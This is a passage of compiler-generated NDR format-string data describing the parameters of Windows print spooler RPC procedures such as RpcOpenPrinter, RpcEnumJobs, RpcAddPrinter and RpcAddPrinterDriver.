*/\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 22 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 24 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 30 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 32 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 34 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 36 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 38 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 40 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 42 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 44 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 46 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 50 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 52 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 54 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 56 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 58 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 60 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 62 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 64 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 66 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 68 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 70 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 72 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 74 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 76 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 78 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcOpenPrinter */\n\n/* 80 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 82 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 86 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 88 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 90 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 92 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 94 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 96 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 98 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 100 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 102 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 110 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 112 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 116 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 118 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 120 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 122 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pDatatype */\n\n/* 124 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 126 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 128 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 130 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 132 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 134 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter AccessRequired */\n\n/* 136 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 138 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 142 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 144 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetJob */\n\n/* 148 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 156 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 158 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 160 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 162 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 164 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 166 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 168 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 170 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 176 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 180 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 182 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 184 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 186 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 188 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJobContainer */\n\n/* 192 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 194 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 196 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter Command */\n\n/* 198 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 200 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 202 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 204 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 206 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 208 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetJob */\n\n/* 210 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 218 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 220 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 226 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 228 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 230 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 232 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 234 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 236 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 242 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 244 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 246 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 248 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 250 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 254 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 256 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 258 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 260 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 262 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 264 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 266 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 268 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 272 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 274 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 276 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 278 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 280 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 282 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumJobs */\n\n/* 284 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 286 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 290 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 292 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 294 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 298 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 300 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 302 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 304 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 306 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 308 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 310 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 316 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 320 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter FirstJob */\n\n/* 322 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 324 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NoJobs */\n\n/* 328 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 330 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 334 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 336 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 340 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 342 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 344 */\tNdrFcShort( 0x196 ),\t/* Type Offset=406 */\n\n\t/* Parameter cbBuf */\n\n/* 346 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 348 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 350 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 352 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 354 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 356 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 358 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 360 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 362 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 364 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 366 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinter */\n\n/* 370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 376 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 380 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 384 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 388 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 390 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 392 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 402 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 404 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 406 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 410 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 412 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 414 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 416 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 418 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 420 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 422 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 424 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter pHandle */\n\n/* 426 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 428 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 430 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 434 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinter */\n\n/* 438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 444 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 448 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 452 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 454 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 456 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 458 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 460 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 470 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 472 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 474 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 476 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 478 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 480 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPrinter */\n\n/* 482 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 484 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 488 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 490 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 492 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 494 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 496 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 498 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 500 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 502 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 504 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 508 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 514 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 516 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 518 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 520 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 522 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 524 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 526 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 530 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 532 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 534 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 536 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter Command */\n\n/* 538 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 540 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 544 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 546 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinter */\n\n/* 550 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 558 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 560 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 564 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 566 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 568 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 570 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 572 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 574 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 576 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 582 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 584 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 586 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 588 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 590 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinter */\n\n/* 594 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 596 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 598 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 600 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 602 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 604 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 606 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 608 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 610 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 612 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 614 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 616 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterDriver */\n\n/* 618 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 620 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 624 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 626 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 628 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 632 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 634 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 636 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 638 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 640 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 644 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 650 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 654 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 656 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 658 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 660 */\tNdrFcShort( 0x58a ),\t/* Type Offset=1418 */\n\n\t/* Return value */\n\n/* 662 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 664 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 666 */\t0x8,\t\t/* 